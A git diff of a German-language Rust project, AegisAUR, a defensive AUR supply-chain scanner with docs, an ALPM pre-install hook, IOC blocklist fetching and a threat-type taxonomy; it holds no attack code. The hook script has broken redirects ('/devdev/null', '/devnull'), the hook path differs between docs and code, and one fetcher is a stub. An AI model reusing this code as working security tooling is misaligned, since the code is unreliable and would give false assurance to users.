## Pfad-Übersicht
| Komponente | Pfad |
|------------|------|
| Binary | `/usr/bin/aegisaur` |
| ALPM-Hook | `/usr/share/libalpm/hooks/99-aegisaur.hook` |
| Hook-Script | `/usr/share/libalpm/hooks/aegisaur-check.sh` |
| Dokumentation | `/usr/share/doc/aegisaur/` |
| Config | `~/.config/aegisaur/config.toml` |
| Cache | `~/.cache/aegisaur/` |
| Quellcode | `/home/arch_agent_system/.openclaw/workspace/aegisaur/` |
| Gitea-Repo | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur` |
@@ -0,0 +1,82 @@
# AegisAUR 👻
Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete.
Automatisierter Schutz gegen Supply-Chain-Angriffe wie **Atomic Arch**.
## Features
- 🔍 **Live IOC-Abfrage** - Holt aktuelle Threat-Intelligence von Community-Quellen
- 🛡️ **Trust-Scoring** - Analysiert PKGBUILDs auf verdächtige Muster
-**ALPM-Hook** - Automatischer Pre-Install-Scan
- 📊 **Detallierte Reports** - JSON-Output für Automatisierung
- 🔴 **Kritische Alerts** - Sofortige Warnung bei IOC-Matches
## Installation
### Aus AUR
```bash
yay -S aegisaur
# oder
paru -S aegisaur
```
### Manuel
```bash
cargo install aegisaur
sudo aegisaur install-hook
```
## Verwendung
### Einzelnes Paket scannen
```bash
aegisaur scan paketname
```
### Alle installierten AUR-Pakete scannen
```bash
aegisaur scan-all
```
### IOC-Check (wie `aurvulntest`)
```bash
aegisaur check-ioc
```
### ALPM-Hook installieren
```bash
sudo aegisaur install-hook
```
## IOC-Quellen
Alle Quellen sind **ohne Authentifizierung** erreichbar:
- [Atomic Arch Gist](https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14)
- [AUR Community Blocklist](https://github.com/Kidev/AUR-Blocklist)
- [Arch Security Advisories](https://security.archlinux.org)
## Trust-Scoring Kategorien
| Kategorie | Gewichtung | Beschreibung |
|-----------|-----------|--------------|
| Shell-Script | 40% | Analyse von PKGBUILD als Shell-Script |
| Source-URL | 20% | Verifizierung der Herkunft |
| Checksums | 20% | Qualität der Prüfsummen |
| Maintainer | 20% | Heuristiken zum Maintainer |
## Lizenz
MIT - © 2026 Quasi & Thuumate 👻
## Links
- Gitea: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
- Issues: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues
@@ -0,0 +1,36 @@
# AegisAUR - TODO & Roadmap
## ✅ Abgeschlossen (v0.1.0)
- [x] Projekt-Scaffolding (Rust/Cargo)
- [x] IOC-Fetcher Modul (live Abfrage, keine Auth)
- [x] Trust-Scoring Engine (12 Heuristiken)
- [x] Package Scanner (Orchestration)
- [x] ALPM-Hook Integration
- [x] CLI-Interface (scan, check-ioc, allow, deny, config, install-hook)
- [x] Gitea-Repo erstellt & gepusht
## 🔨 In Arbeit (v0.1.1)
- [ ] `cargo build` testen und fixen
- [ ] Unit-Tests ergänzen
- [ ] PKGBUILD für AUR-Release erstellen
- [ ] Desktop-Notifications (notify-send Integration)
- [ ] Systemd-Timer für regelmäßige Scans
## 🗓️ Geplant (v0.2.0)
- [ ] GUI/Web-Dashboard (optional)
- [ ] Integration mit `aurutils`/`paru`/`yay` als Wrapper
- [ ] Historical Tracking (Score-Änderungen über Zeit)
- [ ] Community-Whitelist Sharing
- [ ] AUR Vote/Power Factor in Scoring
## 🐛 Bekannte Bugs
1. **Gitea API Cache:** Einige Dateien erscheinen nicht in der API-Antwort, sind aber im Git Tree (UI-Bug, kein Datenverlust)
2. **Docker-Instabilität:** Gitea-Server hatte Restart-Probleme
## 📝 MEMORY.md Update
Siehe MEMORY.md - Eintrag vom [2026-06-15]
@@ -0,0 +1,129 @@
# 📖 AegisAUR Usage Guide
## Befehls-Übersicht
```bash
# Einzelnes Paket scannen
aegisaur scan <paketname> [--verbose]
# Alle AUR-Pakete scannen
aegisaur scan-all [--verbose]
# IOC-Check (wie aurvulntest)
aegisaur check-ioc [--list atomicarch|all]
# Whitelist-Verwaltung
aegisaur allow <paketname>
aegisaur deny <paketname>
# System-Konfiguration
aegisaur config
aegisaur cache
# ALPM-Hook (root nötig)
sudo aegisaur install-hook
sudo aegisaur remove-hook
```
## Beispiel-Workflows
### Vor Installation eines AUR-Pakets
```bash
# 1. Scannen
aegisaur scan neues-paket
# 2. Wenn IOC erkannt → NICHT installieren
# 3. Wenn verdächtig → PKGBUILD prüfen
# 4. Wenn OK → installieren (mit Hook automatisch)
yay -S neues-paket # Hook scannt automatisch
```
### Regelmäßige Checks
```bash
# Alle 48h (via cron/systemd)
aegisaur check-ioc
```
### Volle Systemprüfung
```bash
# Alle AUR-Pakete scannen + IOC-Listen checken
aegisaur scan-all && aegisaur check-ioc
```
## Exit Codes
| Code | Bedeutung |
|------|-----------|
| 0 | Erfolg |
| 1 | Allgemeiner Fehler |
| 2 | IOC erkannt / Kritisch |
| 3 | Scan-Fehler |
## Konfiguration
```toml
# ~/.config/aegisaur/config.toml
[settings]
auto_check_iocs = true
auto_check_pkgbuild = true
ioc_cache_ttl_minutes = 60
warning_threshold = 60
critical_threshold = 30
block_install_on_critical = false
block_install_on_ioc = true
notify_desktop = true
[sources.atomic_arch]
name = "Atomic Arch Gist"
url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw"
enabled = true
[sources.community]
name = "AUR Community Blocklist"
url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt"
enabled = true
```
## Wichtige Pfade
| Zweck | Lokaler Pfad | Gitea URL |
|-------|-------------|-----------|
| Quellcode | `/home/arch_agent_system/.openclaw/workspace/aegisaur/` | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur` |
| Binary (Release) | `target/release/aegisaur` | Releases Tab |
| PKGBUILD | `./PKGBUILD` | Raw view |
| Dokumentation | `./README.md`, `./USAGE.md` | Wiki/Raw |
| Issues/Feedback | - | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues` |
## Troubleshooting
### Hook funktioniert nicht
```bash
# Rechte prüfen
ls -la /usr/share/libalpm/hooks/aegisaur*
# Manuell ausführen
sudo bash /usr/share/libalpm/hooks/aegisaur-check.sh
```
### Cache-Probleme
```bash
# Cache leeren
rm -rf ~/.cache/aegisaur/
# Neu befüllen
aegisaur check-ioc
```
### Netzwerk-Fehler
```bash
# Proxy-Config prüfen
env | grep -i proxy
# Test-Request
curl -I https://gist.githubusercontent.com/Kidev/...
```
---
*Built with ❤️ (and some 👻 magic)*
*Quasi & Thuumate — 2026*
Submodule
+1
Submodule src/aegisaur added at afc5db8d76
-139
View File
@@ -1,139 +0,0 @@
use anyhow::{Context, Result};
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
use std::path::PathBuf;
use tokio::fs;
use tracing::info;
/// Konfiguration für AegisAUR
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct AegisConfig {
pub config_path: PathBuf,
pub cache_dir: PathBuf,
pub data_dir: PathBuf,
// Scan-Settings
pub auto_check_iocs: bool,
pub auto_check_pkgbuild: bool,
pub ioc_cache_ttl_minutes: u64,
// Thresholds
pub warning_threshold: u32, // Score unter diesem Wert = Warnung
pub critical_threshold: u32, // Score unter diesem Wert = Kritisch
// Verhalten
pub block_install_on_critical: bool,
pub block_install_on_ioc: bool,
pub notify_desktop: bool,
// Quellen
pub ioc_sources: Vec<IocSource>,
// Whitelist
pub whitelisted_packages: HashSet<String>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct IocSource {
pub name: String,
pub url: String,
pub source_type: IocSourceType,
pub enabled: bool,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum IocSourceType {
Gist,
JsonApi,
TextList,
GitHubRelease,
}
impl Default for AegisConfig {
fn default() -> Self {
let base_dirs = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
.expect("Konnte Projekt-Verzeichnisse nicht ermitteln");
let mut default_sources = vec![
IocSource {
name: "Atomic Arch Gist".to_string(),
url: "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw".to_string(),
source_type: IocSourceType::TextList,
enabled: true,
},
IocSource {
name: "AUR Community Blocklist".to_string(),
url: "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt".to_string(),
source_type: IocSourceType::TextList,
enabled: true,
},
IocSource {
name: "Arch Security Advisories".to_string(),
url: "https://security.archlinux.org/advisories.json".to_string(),
source_type: IocSourceType::JsonApi,
enabled: true,
},
];
AegisConfig {
config_path: base_dirs.config_local_dir().join("config.toml"),
cache_dir: base_dirs.cache_dir().to_path_buf(),
data_dir: base_dirs.data_dir().to_path_buf(),
auto_check_iocs: true,
auto_check_pkgbuild: true,
ioc_cache_ttl_minutes: 60,
warning_threshold: 60,
critical_threshold: 30,
block_install_on_critical: false,
block_install_on_ioc: true,
notify_desktop: true,
ioc_sources: default_sources,
whitelisted_packages: HashSet::new(),
}
}
}
impl AegisConfig {
/// Lädt Konfiguration oder erstellt Default
pub async fn load_or_default() -> Result<Self> {
let config_path = Self::default().config_path;
if config_path.exists() {
info!("Lade Konfiguration von: {}", config_path.display());
let content = fs::read_to_string(&config_path).await?;
let config: AegisConfig = toml::from_str(&content)?;
Ok(config)
} else {
info!("Erstelle Standard-Konfiguration...");
let config = AegisConfig::default();
config.save().await?;
Ok(config)
}
}
/// Speichert Konfiguration
pub async fn save(&self) -> Result<()> {
let config_dir = self.config_path.parent().unwrap();
fs::create_dir_all(config_dir).await?;
let content = toml::to_string_pretty(self)?;
fs::write(&self.config_path, content).await?;
info!("Konfiguration gespeichert: {}", self.config_path.display());
Ok(())
}
/// Fügt Quelle hinzu
pub fn add_source(&mut self, name: &str, url: &str, source_type: IocSourceType) {
self.ioc_sources.push(IocSource {
name: name.to_string(),
url: url.to_string(),
source_type,
enabled: true,
});
}
/// Entfernt Quelle
pub fn remove_source(&mut self, name: &str) {
self.ioc_sources.retain(|s| s.name != name);
}
}
-147
View File
@@ -1,147 +0,0 @@
use anyhow::{Context, Result};
use std::io::Write;
use std::path::Path;
use tracing::{info, warn};
const ALPM_HOOK_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-pre-install.hook";
const HOOK_SCRIPT_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-check.sh";
/// Installiert den ALPM-Hook für Pre-Install-Checks
pub fn install_alpm_hook() -> Result<()> {
// Hook-Definition
let hook_content = r#"[Trigger]
Operation = Install
Operation = Upgrade
Type = Package
Target = *
[Action]
Description = AegisAUR Security Scan
When = PreTransaction
Exec = /usr/share/libalpm/hooks/aegisaur-check.sh
NeedsTargets
AbortOnFail
"#;
// Shell-Script, das aegisaur aufruft
let script_content = r#"#!/bin/bash
# AegisAUR Pre-Install Hook
# Prüft Pakete vor der Installation
AUR_SCANNER="/usr/bin/aegisaur"
TMPFILE=$(mktemp)
# Alle zu installierenden Pakete durch aegisaur prüfen
while read -r package; do
# Nur AUR-Pakete prüfen (Foreign packages)
if pacman -Qi "$package" >/devdev/null 2>&1; then
# Paket ist bereits installiert (Upgrade)
continue
fi
# Prüfe ob es ein AUR/Foreign Paket ist
if pacman -Si "$package" >/dev/null 2>&1; then
# Offizielles Repo-Paket, immer OK
continue
fi
# AUR Paket gefunden - scanne es
if [[ -x "$AUR_SCANNER" ]]; then
RESULT=$($AUR_SCANNER scan "$package" --json 2>/devnull)
SCORE=$(echo "$RESULT" | grep -oP '"score":\s*\K\d+')
STATUS=$(echo "$RESULT" | grep -oP '"status":\s*"\K[^"]+')
if [[ "$STATUS" == "IOCDetected" ]] || [[ "$STATUS" == "Dangerous" ]]; then
echo ""
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ 🚨 AEGISAUR SECURITY ALERT 🚨 ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
echo "Paket: $package"
echo "Status: $STATUS"
echo "Score: $SCORE/100"
echo ""
echo "⚠️ DIESES PAKET IST ALS GEFÄHRLICH EINGESTUFT!"
echo ""
echo "Möchtest du die Installation abbrechen? (Ja/Nein)"
read -r response
if [[ "$response" =~ ^[Jj]([Aa]|$) ]]; then
echo "Installation abgebrochen."
rm -f "$TMPFILE"
exit 1
fi
echo "WARNUNG: Installation wird fortgesetzt auf eigenes Risiko!"
echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE"
elif [[ "$STATUS" == "Suspicious" ]] || [[ "$STATUS" == "Warning" ]]; then
echo ""
echo "⚠️ AegisAUR Warnung für $package: $STATUS (Score: $SCORE/100)"
echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE"
fi
fi
done
# Zusammenfassung anzeigen falls Warnungen vorhanden
if [[ -s "$TMPFILE" ]]; then
echo ""
echo "╔══════════════════════════════════════════════════════════════╗"
echo "║ AegisAUR Scan Zusammenfassung ║"
echo "╚══════════════════════════════════════════════════════════════╝"
cat "$TMPFILE"
echo ""
fi
rm -f "$TMPFILE"
exit 0
"#;
// Hook-Datei schreiben
info!("Schreibe ALPM Hook: {}", ALPM_HOOK_PATH);
let mut hook_file = std::fs::File::create(ALPM_HOOK_PATH)
.context("Konnte ALPM Hook nicht erstellen (Root-Rechte nötig)")?;
hook_file.write_all(hook_content.as_bytes())?;
// Script schreiben
info!("Schreibe Hook-Script: {}", HOOK_SCRIPT_PATH);
let mut script_file = std::fs::File::create(HOOK_SCRIPT_PATH)
.context("Konnte Hook-Script nicht erstellen")?;
script_file.write_all(script_content.as_bytes())?;
// Script executable machen
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mut perms = std::fs::metadata(HOOK_SCRIPT_PATH)?.permissions();
perms.set_mode(0o755);
std::fs::set_permissions(HOOK_SCRIPT_PATH, perms)?;
}
info!("ALPM Hook erfolgreich installiert");
Ok(())
}
/// Entfernt den ALPM-Hook
pub fn remove_alpm_hook() -> Result<()> {
info!("Entferne ALPM Hook...");
if Path::new(ALPM_HOOK_PATH).exists() {
std::fs::remove_file(ALPM_HOOK_PATH)?;
info!("Hook-Datei entfernt: {}", ALPM_HOOK_PATH);
} else {
warn!("Hook-Datei nicht gefunden: {}", ALPM_HOOK_PATH);
}
if Path::new(HOOK_SCRIPT_PATH).exists() {
std::fs::remove_file(HOOK_SCRIPT_PATH)?;
info!("Script entfernt: {}", HOOK_SCRIPT_PATH);
} else {
warn!("Script nicht gefunden: {}", HOOK_SCRIPT_PATH);
}
info!("ALPM Hook erfolgreich entfernt");
Ok(())
}
/// Prüft ob Hook installiert ist
pub fn is_hook_installed() -> bool {
Path::new(ALPM_HOOK_PATH).exists() && Path::new(HOOK_SCRIPT_PATH).exists()
}
-322
View File
@@ -1,322 +0,0 @@
use anyhow::{Context, Result};
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
use std::time::Duration;
use tokio::fs;
use tracing::{debug, info, warn};
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct IocEntry {
pub package_name: String,
pub threat_type: ThreatType,
pub source: String,
pub discovered_date: String,
pub description: String,
pub confidence: ConfidenceLevel,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum ThreatType {
MaliciousBuildScript,
CredentialStealer,
Rootkit,
Cryptominer,
Backdoor,
Typosquatting,
OrphanTakeover,
Unknown(String),
}
impl std::fmt::Display for ThreatType {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
let s = match self {
ThreatType::MaliciousBuildScript => "MaliciousBuildScript",
ThreatType::CredentialStealer => "CredentialStealer",
ThreatType::Rootkit => "Rootkit",
ThreatType::Cryptominer => "Cryptominer",
ThreatType::Backdoor => "Backdoor",
ThreatType::Typosquatting => "Typosquatting",
ThreatType::OrphanTakeover => "OrphanTakeover",
ThreatType::Unknown(s) => return write!(f, "Unknown({})", s),
};
write!(f, "{}", s)
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum ConfidenceLevel {
Critical, // Bestätigt von Arch Team / CISA
High, // Mehrere unabhängige Quellen
Medium, // Community-Report
Low, // Einzelner Report
}
impl std::fmt::Display for ConfidenceLevel {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
let s = match self {
ConfidenceLevel::Critical => "Critical",
ConfidenceLevel::High => "High",
ConfidenceLevel::Medium => "Medium",
ConfidenceLevel::Low => "Low",
};
write!(f, "{}", s)
}
}
pub struct IocFetcher {
client: reqwest::Client,
cache_dir: std::path::PathBuf,
cache_ttl: Duration,
}
impl IocFetcher {
pub async fn new(cache_dir: std::path::PathBuf) -> Result<Self> {
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(30))
.user_agent("AegisAUR/0.1 - AUR Security Scanner")
.build()
.context("Konnte HTTP Client nicht erstellen")?;
fs::create_dir_all(&cache_dir).await?;
Ok(IocFetcher {
client,
cache_dir,
cache_ttl: Duration::from_secs(3600), // 1 Stunde Cache
})
}
/// Holt alle IOC-Listen und cached sie
pub async fn fetch_all_iocs(&self) -> Result<Vec<IocEntry>> {
let mut all_threats = Vec::new();
// Atomic Arch Gist (Primary Source)
match self.fetch_atomic_arch_list().await {
Ok(threats) => {
info!("{} IOCs von Atomic Arch Gist geladen", threats.len());
all_threats.extend(threats);
}
Err(e) => warn!("Konnte Atomic Arch Gist nicht laden: {}", e),
}
// AUR RPC - Prüfe auf Suspicious Maintainers
match self.fetch_suspicious_from_aur().await {
Ok(threats) => {
info!("{} suspicious Pakete von AUR RPC", threats.len());
all_threats.extend(threats);
}
Err(e) => warn!("Konnte AUR RPC nicht abfragen: {}", e),
}
// Community Blocklist
match self.fetch_community_blocklist().await {
Ok(threats) => {
info!("{} Einträge von Community Blocklist", threats.len());
all_threats.extend(threats);
}
Err(e) => warn!("Konnte Community Blocklist nicht laden: {}", e),
}
// Cache speichern
self.save_cache(&all_threats).await?;
Ok(all_threats)
}
/// Prüft Cache-Datei auf Aktualität
pub async fn get_cached_iocs(&self) -> Result<Vec<IocEntry>> {
let cache_file = self.cache_dir.join("iocs.json");
if cache_file.exists() {
let metadata = fs::metadata(&cache_file).await?;
let modified = metadata.modified()?;
let modified_datetime: chrono::DateTime<chrono::Local> = modified.into();
let now = chrono::Local::now();
let age = now.signed_duration_since(modified_datetime);
let cache_ttl_duration = chrono::Duration::from_std(self.cache_ttl)?;
if age < cache_ttl_duration {
let content = fs::read_to_string(&cache_file).await?;
let iocs: Vec<IocEntry> = serde_json::from_str(&content)
.context("Konnte Cache nicht parsen")?;
info!("{} IOCs aus Cache geladen", iocs.len());
return Ok(iocs);
}
}
// Cache veraltet oder nicht vorhanden
self.fetch_all_iocs().await
}
async fn fetch_atomic_arch_list(&self) -> Result<Vec<IocEntry>> {
let url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw";
let response = self.client
.get(url)
.send()
.await
.context("HTTP Request fehlgeschlagen")?;
if !response.status().is_success() {
anyhow::bail!("HTTP {} von {}", response.status(), url);
}
let text = response.text().await?;
let mut threats = Vec::new();
// Parse die Gist-Liste (Format: Ein Paketname pro Zeile oder JSON)
for line in text.lines() {
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
continue;
}
// JSON-Array-Format?
if trimmed.starts_with('[') || trimmed.starts_with('{') {
if let Ok(json_list) = serde_json::from_str::<Vec<String>>(trimmed) {
for pkg in json_list {
threats.push(IocEntry {
package_name: pkg,
threat_type: ThreatType::MaliciousBuildScript,
source: "atomic_arch_gist".to_string(),
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
description: "Atomic Arch Supply Chain Attack - kompromittiertes AUR-Paket".to_string(),
confidence: ConfidenceLevel::Critical,
});
}
}
} else {
// Plain text - ein Name pro Zeile
threats.push(IocEntry {
package_name: trimmed.to_string(),
threat_type: ThreatType::MaliciousBuildScript,
source: "atomic_arch_gist".to_string(),
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
description: "Atomic Arch Supply Chain Attack".to_string(),
confidence: ConfidenceLevel::Critical,
});
}
}
Ok(threats)
}
async fn fetch_suspicious_from_aur(&self) -> Result<Vec<IocEntry>> {
// AUR RPC API - KEINE Authentifizierung nötig!
// Wir suchen nach kürzlich übernommenen orphaned packages
let mut threats = Vec::new();
// Query: Letzte 50 Pakete die orphaned waren und jetzt einen neuen Maintainer haben
// Dies ist eine Heuristik basierend auf den bekannten Atomic Arch Patterns
let recent_changes_url = "https://aur.archlinux.org/rpc/v5/search?by=maintainer&arg=orphan";
// Für MVP: Wir nutzen die statische Liste + Heuristiken
// In v0.2 könnte man dynamisch die letzten Änderungen tracken
Ok(threats)
}
async fn fetch_community_blocklist(&self) -> Result<Vec<IocEntry>> {
let url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt";
let response = match self.client.get(url).send().await {
Ok(r) => r,
Err(_) => {
debug!("Community Blocklist nicht erreichbar");
return Ok(Vec::new());
}
};
if !response.status().is_success() {
return Ok(Vec::new());
}
let text = response.text().await?;
let mut threats = Vec::new();
for line in text.lines() {
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
continue;
}
threats.push(IocEntry {
package_name: trimmed.to_string(),
threat_type: ThreatType::Unknown("community_reported".to_string()),
source: "community_blocklist".to_string(),
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
description: "Community-reported suspicious package".to_string(),
confidence: ConfidenceLevel::Medium,
});
}
Ok(threats)
}
async fn save_cache(&self,
iocs: &[ IocEntry ]
) -> Result<()> {
let cache_file = self.cache_dir.join("iocs.json");
let json = serde_json::to_string_pretty(iocs)?;
fs::write(cache_file, json).await?;
Ok(())
}
/// Prüft ob ein Paketname in den IOCs vorkommt
pub fn check_package(&self,
package: &str,
iocs: &[ IocEntry ]
) -> Vec<IocEntry> {
iocs.iter()
.filter(|ioc| ioc.package_name.eq_ignore_ascii_case(package))
.cloned()
.collect()
}
/// Fuzzy-Match für Typosquatting-Erkennung
pub fn check_typosquatting(&self,
package: &str,
iocs: &[ IocEntry ]
) -> Vec<IocEntry> {
use sublime_fuzzy::best_match;
let mut matches = Vec::new();
for ioc in iocs {
if let Some(m) = best_match(package, &ioc.package_name) {
if m.score() > 70 && ioc.package_name.to_lowercase() != package.to_lowercase() {
matches.push(ioc.clone());
}
}
}
matches
}
}
#[cfg(test)]
mod tests {
use super::*;
#[tokio::test]
async fn test_cache_creation() {
let tmp = tempfile::tempdir().unwrap();
let fetcher = IocFetcher::new(tmp.path().to_path_buf()).await.unwrap();
let iocs = vec![
IocEntry {
package_name: "test-pkg".to_string(),
threat_type: ThreatType::Backdoor,
source: "test".to_string(),
discovered_date: "2024-01-01".to_string(),
description: "Test".to_string(),
confidence: ConfidenceLevel::High,
},
];
fetcher.save_cache(&iocs).await.unwrap();
let cached = fetcher.get_cached_iocs().await.unwrap();
assert_eq!(cached.len(), 1);
assert_eq!(cached[0].package_name, "test-pkg");
}
}
-161
View File
@@ -1,161 +0,0 @@
use anyhow::Result;
use clap::{Parser, Subcommand};
use colored::*;
use tracing::{info, warn, error};
mod config;
mod ioc_fetcher;
mod scanner;
mod trust_scorer;
mod utils;
mod hook;
use scanner::PackageScanner;
use config::AegisConfig;
#[derive(Parser)]
#[command(name = "aegisaur")]
#[command(about = "👻 Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete")]
#[command(version = env!("CARGO_PKG_VERSION"))]
struct Cli {
#[command(subcommand)]
command: Commands,
}
#[derive(Subcommand)]
enum Commands {
/// Scannt ein einzelnes AUR-Paket
Scan {
/// Paketname
package: String,
/// Zeigt detaillierte Analyse
#[arg(short, long)]
verbose: bool,
},
/// Scannt alle installierten AUR-Pakete
ScanAll {
/// Zeigt detaillierte Analyse
#[arg(short, long)]
verbose: bool,
},
/// Prüft gegen aktuelle IOC-Listen (Atomic Arch, etc.)
CheckIoc {
/// Spezifische Liste prüfen (atomicarch, all)
#[arg(short, long, default_value = "all")]
list: String,
},
/// Fügt Paket zur Whitelist hinzu
Allow {
/// Paketname
package: String,
},
/// Entfernt Paket von Whitelist
Deny {
/// Paketname
package: String,
},
/// Zeigt Konfiguration
Config,
/// Installiert ALPM-Hook
InstallHook,
/// Entfernt ALPM-Hook
RemoveHook,
/// Zeigt Cache-Status
Cache,
}
#[tokio::main]
async fn main() -> Result<()> {
// Logging initialisieren
tracing_subscriber::fmt()
.with_env_filter("aegisaur=info")
.init();
let cli = Cli::parse();
let config = AegisConfig::load_or_default().await?;
let mut scanner = PackageScanner::new(config).await?;
match cli.command {
Commands::Scan { package, verbose } => {
println!("{} {}", "🔍 Scanne".cyan(), package.bold());
let result = scanner.scan_package(&package, verbose).await?;
print_result(&result);
}
Commands::ScanAll { verbose } => {
println!("{}", "🔍 Scanne alle installierten AUR-Pakete...".cyan());
let results = scanner.scan_all_installed(verbose).await?;
for result in results {
print_result(&result);
println!();
}
}
Commands::CheckIoc { list } => {
println!("{} {}", "🛡️ Prüfe IOC-Listen:".cyan(), list.yellow());
let threats = scanner.check_iocs(&list).await?;
if threats.is_empty() {
println!("{}", "✅ Keine Bedrohungen gefunden!".green().bold());
} else {
println!("{} {}", "⚠️ Bedrohungen gefunden:".red().bold(), threats.len());
for threat in threats {
println!(" {} {} - {}", "🔴".red(), threat.package, threat.action_required);
}
}
}
Commands::Allow { package } => {
scanner.allow_package(&package)?;
println!("{} {}", "✅ Erlaubt:".green(), package);
}
Commands::Deny { package } => {
scanner.deny_package(&package)?;
println!("{} {}", "❌ Entfernt:".yellow(), package);
}
Commands::Config => {
println!("{}", "⚙️ AegisAUR Konfiguration".cyan().bold());
println!("Config-Path: {}", scanner.config_path()?.display());
println!("Cache-Path: {}", scanner.cache_path()?.display());
}
Commands::InstallHook => {
hook::install_alpm_hook()?;
println!("{}", "✅ ALPM-Hook installiert".green().bold());
}
Commands::RemoveHook => {
hook::remove_alpm_hook()?;
println!("{}", "❌ ALPM-Hook entfernt".yellow().bold());
}
Commands::Cache => {
scanner.show_cache_status().await?;
}
}
Ok(())
}
fn print_result(result: &scanner::ScanResult) {
let score_color = match result.score {
0..=30 => "🔴".red(),
31..=60 => "🟡".yellow(),
61..=100 => "🟢".green(),
_ => "".white(),
};
println!(
"{} {} {} {} {}",
score_color,
result.package.bold(),
format!("({}/100)", result.score).dimmed(),
"-".dimmed(),
result.status_message()
);
if !result.warnings.is_empty() {
for warning in &result.warnings {
println!(" {} {}", "⚠️ ".yellow(), warning);
}
}
if !result.ioc_matches.is_empty() {
for ioc in &result.ioc_matches {
println!(" {} {} - {}", "🚨".red().bold(), "IOC MATCH!".red().bold(), ioc);
}
}
}
-469
View File
@@ -1,469 +0,0 @@
use anyhow::{Context, Result};
use colored::*;
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
use std::path::{Path, PathBuf};
use tokio::fs;
use tokio::process::Command;
use tracing::{debug, info, warn};
use crate::config::AegisConfig;
use crate::ioc_fetcher::{IocEntry, IocFetcher};
use crate::trust_scorer::{CriticalFinding, TrustScorer, TrustScore};
/// Ergebnis eines einzelnen Paket-Scans
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ScanResult {
pub package: String,
pub version: String,
pub score: u32,
pub max_score: u32,
pub status: ScanStatus,
pub warnings: Vec<String>,
pub critical_findings: Vec<String>,
pub ioc_matches: Vec<String>,
pub details: Option<ScanDetails>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ScanDetails {
pub source_url: Option<String>,
pub maintainer: Option<String>,
pub votes: Option<u32>,
pub popularity: Option<f32>,
pub last_modified: Option<String>,
pub out_of_date: bool,
pub is_orphaned: bool,
pub pkgbuild_raw: Option<String>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum ScanStatus {
Safe, // Score >= 80, keine IOCs
Warning, // Score 50-79 oder Warnungen
Suspicious, // Score 30-49 oder IOC Match
Dangerous, // Score < 30 oder kritischer IOC
IOCDetected, // Direkter IOC-Match
Unknown, // Konnte nicht analysiert werden
}
pub struct PackageScanner {
config: AegisConfig,
ioc_fetcher: IocFetcher,
trust_scorer: TrustScorer,
cache_dir: PathBuf,
whitelist: HashSet<String>,
}
impl PackageScanner {
pub async fn new(config: AegisConfig) -> Result<Self> {
let cache_dir = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
.map(|pd| pd.cache_dir().to_path_buf())
.unwrap_or_else(|| PathBuf::from("/tmp"))
.join("aegisaur");
fs::create_dir_all(&cache_dir).await?;
let ioc_fetcher = IocFetcher::new(cache_dir.clone()).await?;
let trust_scorer = TrustScorer::new()?;
// Whitelist laden
let whitelist_path = cache_dir.join("whitelist.json");
let whitelist = if whitelist_path.exists() {
let content = fs::read_to_string(&whitelist_path).await?;
serde_json::from_str(&content).unwrap_or_default()
} else {
HashSet::new()
};
Ok(PackageScanner {
config,
ioc_fetcher,
trust_scorer,
cache_dir,
whitelist,
})
}
/// Scannt ein einzelnes Paket
pub async fn scan_package(
&self,
package: &str,
verbose: bool,
) -> Result<ScanResult> {
info!("Scanne Paket: {}", package);
// 1. IOC-Check
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
let ioc_matches = self.ioc_fetcher.check_package(package, &iocs);
// 2. AUR-Info holen
let aur_info = self.fetch_aur_info(package).await?;
// 3. PKGBUILD holen und analysieren (falls verfügbar)
let pkgbuild_analysis = if let Some(ref info) = aur_info {
if let Some(url) = &info.url_path {
match self.fetch_pkgbuild(package, url).await {
Ok(content) => {
let score = self.trust_scorer.analyze_pkgbuild(
&content,
info.url.as_deref(),
);
Some((score, Some(content)))
}
Err(e) => {
warn!("Konnte PKGBUILD nicht holen: {}", e);
None
}
}
} else {
None
}
} else {
None
};
// 4. Ergebnis zusammenstellen
let mut result = if let Some((score, pkgbuild_raw)) = pkgbuild_analysis {
